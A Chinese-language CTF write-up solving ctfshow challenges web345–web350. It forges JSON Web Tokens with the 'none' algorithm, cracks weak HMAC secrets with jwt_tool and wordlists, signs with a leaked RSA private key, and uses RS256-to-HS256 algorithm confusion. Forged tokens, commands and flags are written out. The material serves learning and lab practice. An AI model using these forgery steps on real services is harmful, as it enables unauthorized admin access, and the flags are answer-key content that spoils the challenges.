目录
[知识点 JWT 加密算法](#知识点 JWT 加密算法)
web345


查看页面源码,有一个/admin 路径

访问/admin,会跳转到 index.php,还是原本的页面
然后正常抓包
cookie 处找到 JWT

这里的 jwt 只有两段,缺失了最后一段 signature 签名
将前两段 header,payload 分开进行 base64 解码
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3Nzk0MzAzMTUsImV4cCI6MTc3OTQzNzUxNSwibmJmIjoxNzc5NDMwMzE1LCJzdWIiOiJ1c2VyIiwianRpIjoiZjE5NTQ2NDdmNTUzZjY3NTUwY2Y3ZjY0MmFiYzM1MzEifV0
通过解码知道了这段 jwt 使用的加密算法是 none 空加密算法


这里将 none 算法随便改一个算法 进行 base64 编码

将 payload 中的 sub 字段 user 修改成 admin 进行 base 编码

两端组合在一起,最后在尾部添加.
最终格式:header.payload.
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3Nzk0MzAzMTUsImV4cCI6MTc3OTQzNzUxNSwibmJmIjoxNzc5NDMwMzE1LCJzdWIiOiJhZG1pbiIsImp0aSI6ImYxOTU0NjQ3ZjU1M2Y2NzU1MGNmN2Y2NDJhYmMzNTMxIn1d.
抓取/admin 页面的包,将修改好的 jwt 替换到 cookie 处

放包,得到 flag

web346


查看页面源代码
有一个/admin 路径

抓取/admin 页面的包
cookie 处是 JWT 加密
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQzMjY4MSwiZXhwIjoxNzc5NDM5ODgxLCJuYmYiOjE3Nzk0MzI2ODEsInN1YiI6InVzZXIiLCJqdGkiOiI1MTQ0NTkzNDJiOTllNWIzMDYyZDg0MzgwZmExNTQzNiJ9.U8mJvGLzuNs5U5ijFYL1eePPhOwfmJPHDAb_1JMikic

解码

将加密方式修改成 none 空加密算法绕过校验
利用脚本生成新的 jwt
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQzMjY4MSwiZXhwIjoxNzc5NDM5ODgxLCJuYmYiOjE3Nzk0MzI2ODEsInN1YiI6ImFkbWluIiwianRpIjoiZjE5NTQ2NDdmNTUzZjY3NTUwY2Y3ZjY0MmFiYzM1MzEifQ.

抓/admin,
将修改好的 jwt 编码替换掉 cookie 处的 jwt
然后进行放包

ctfshow{3ef345db-b909-4ca0-abfc-60595983f56d}

第二种方法
利用 jwt_tool 对标签进行爆破
标签是 123456

到 jwt 加密平台中进行修改
"sub": "admin",
对称密钥也就是标签为 123456
然后编码生成新的 jwt

将 cookie 中 jwt 替换成修改编码好的 jwt

放包,得到 flag

web347

题目提示为:jwt开始啦,弱口令

查看页面源代码
返现了/admin 路径

对/admin 页面进行抓包
cookie 处是 jwt 验证方式
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQ1MDkyNCwiZXhwIjoxNzc5NDU4MTI0LCJuYmYiOjE3Nzk0NTA5MjQsInN1YiI6InVzZXIiLCJqdGkiOiI3NTQwMWQ5ZTk0ZWUxMWI4YmY2ZTcxYWFmYjhiMmEzMCJ9.p_UJxOovD_WyLaeokRJORLIUIVZfZehN4yA4bEMyKCI

到解码平台中进行解码
缺少密钥
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1779450924,
"exp": 1779458124,
"nbf": 1779450924,
"sub": "user",
"jti": "75401d9e94ee11b8bf6e71aafb8b2a30"
}

使用 jwt_tool 工具对密钥进行爆破
密钥是 123456
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQ1MDkyNCwiZXhwIjoxNzc5NDU4MTI0LCJuYmYiOjE3Nzk0NTA5MjQsInN1YiI6InVzZXIiLCJqdGkiOiI3NTQwMWQ5ZTk0ZWUxMWI4YmY2ZTcxYWFmYjhiMmEzMCJ9.p_UJxOovD_WyLaeokRJORLIUIVZfZehN4yA4bEMyKCI -C -d moren.txt

构造 jwt
sub 修改成 admin
密钥填写成 123456
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQ1MDkyNCwiZXhwIjoxNzc5NDU4MTI0LCJuYmYiOjE3Nzk0NTA5MjQsInN1YiI6ImFkbWluIiwianRpIjoiNzU0MDFkOWU5NGVlMTFiOGJmNmU3MWFhZmI4YjJhMzAifQ.CIUJGc2sbD8adGQe25gFmLxFem23BvTpLapCA8YcmPc

构造好的 jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQ1MTk0NywiZXhwIjoxNzc5NDU5MTQ3LCJuYmYiOjE3Nzk0NTE5NDcsInN1YiI6ImFkbWluIiwianRpIjoiY2EzN2U3ZGE4ZGIwZWY1MDg2YzhhNGQ2YmY3YWFmMmEifQ.TXgFO_X_hKbH2tM9RVkSRTf3U0OrO_KAFW-bpwNzy1g

抓取/admin 页面
将 cookie 出的 jwt 替换成我们构造好的 jwt 上

放包,得到 flag
ctfshow{e8809fec-e84b-4efb-92ec-c70e64d34984}

web348

题目给出提示,爆破

查看页面源码,有一个/admin 路径

然后抓取/admin 的包,cookie 处有 jwt 验证方式
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTQ1MzQ3NywiZXhwIjoxNzc5NDYwNjc3LCJuYmYiOjE3Nzk0NTM0NzcsInN1YiI6InVzZXIiLCJqdGkiOiIxMjMxMWY1NDYyNzg3M2IwYWNmNDRmMzAxNGY1MWYzNiJ9.7H8jaYNu84whNcl9zZbKiXtdOlUjQxkWBy1-d9mLKKY

对 jwt 进行解码

利用 jwt_tool 进行爆破,密码是 aaab
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTUxMjg3MCwiZXhwIjoxNzc5NTIwMDcwLCJuYmYiOjE3Nzk1MTI4NzAsInN1YiI6InVzZXIiLCJqdGkiOiIxMDZmYTMwNzVjNWI0ZTIwNTc2ODU2MzRiMzY1NjgzNyJ9.T8IGduaoKeKt6E5qmNdnb6Tlwd22WdXtAq-Us1WPtNI -C -d rockyou.txt

伪造 jwt
修改 "sub": "admin",
对称密钥为 aaab
然后重新编码
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTUxNDQ4MiwiZXhwIjoxNzc5NTIxNjgyLCJuYmYiOjE3Nzk1MTQ0ODIsInN1YiI6ImFkbWluIiwianRpIjoiZTM1YjMwY2IyZmZkYzk2YTQ5ODdlNjEwMDA2N2Y1OGYifQ.qOqnCC1IznLUv0U-5-9iY_c3jqdQRGD_7uYwiK2I6nA

抓取/admin 路径的包,然后将伪造好的 jwt 替换到 cookie 处,放包,得到 flag


web349

有一个 app.js 的附件
下载下来打开看看

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
目录扫描到/private.key 路径,访问是下载到一个private.key 文件
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

使用 burp 对这个页面进行抓包,cookie 处是 jwt 验证方式
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc3OTYwMTU3MX0.QikUtq_Vj_qhmCa_hXJUGlFBF7siEVcWfWb9CszBP3YvDtCWc2ONEwwuh0oDYWiAE_pC8sjE3hYK0b1XR12Xt562yN7fEKwLCMEry9QlD99bhwrPUtgzuu3Hne4hNDbhT0FIkSOuXlpAoBZgERDTJIKA_viJPTkK0wO1THAzBPE

对 app.js 中的代码解读,需要满足的条件是 user 等于 admin
私钥要正确,这里私钥是使用private.key 中的内容
将这两处的内容修改好之后在进行编码,得到新的 jwt

通过对 app.js 附件中的代码进行代码审计,是需要使用 POST 传参方法将修改好的 jwt 放在 cookie 处放包,得到 flag
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3Nzk2MDE1NzF9.t3UaPXuTSTcBs113ix6zcQ8_JqIxMmlNpUHL9Af5IYsKZirA52EaRZ1Aexh7ivbq_j5JfipB2LUXvnKd5h5jKACNGokMjXs81QakAn1Rb-J7a4V5huLynDzbNQCNN00BFJoCOK4TAvVbGzSte1U5ml1gG1bE1YJ4Tn7xnD3otK0

ctfshow{46b6e41f-cd4f-4d00-9bf8-126718d62cad}

web350

访问源代码,将源码包下载下来


在这个文件夹中找到了公钥
D:\浏览器下载处\web350\public\public.key
-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----

抓包,将 cookie 上面的 jwt 拿出来
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc3OTYwNTU1OH0.t_PnVJTQ715VaO1fC6KnRbgcOjnQj3j8jZdapLMyus9tbnMxBRMRmsOle3yURBP_L7qgfxSnnOZnsEzlSBIB6FValHttlixsQjyz8qzrNMjYEwiD2crmCRNOm6kJiYqa_5AN92OdgZfh9chIKhVD5BnUodNc7ZLcV_YtgQGJLUM

利用脚本重新伪造 jwt,利用的是 JWT 算法混淆漏洞
核心原理是服务端本来想用 RSA 公钥验证 RS256,结果因为没有限制算法,被攻击者骗成了,拿 RSA 公钥当 HS256 的 secret(签名) 来验证,于是攻击者就能自己伪造管理员 Token
这里将 RS256 加密算法更改成 HS256
user 为 admin
签名使用公钥就行了
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MzIwMjYyOTZ9.Vl2u423NN51exyVX7-Z0TsP6E6NIfsTNzkw6y-CjVNs

使用 POST 请求方式,然后将 cookie 的 jwt 替换成我们伪造好的 jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MzIwMjYyOTZ9.Vl2u423NN51exyVX7-Z0TsP6E6NIfsTNzkw6y-CjVNs

放包,得到 flag
ctfshow{bd9938b6-39ae-481a-97ed-cf8ebb523b4b}

知识点 JWT 加密算法
JWT 加密算法
RS256 属于非对称签名, 使用私钥对消息进行签名并使用公钥进行身份验证
HS256 属于对称加密 HMAC,使用密钥为所有消息进行签名和验证,签名和验证都是用同一个 secret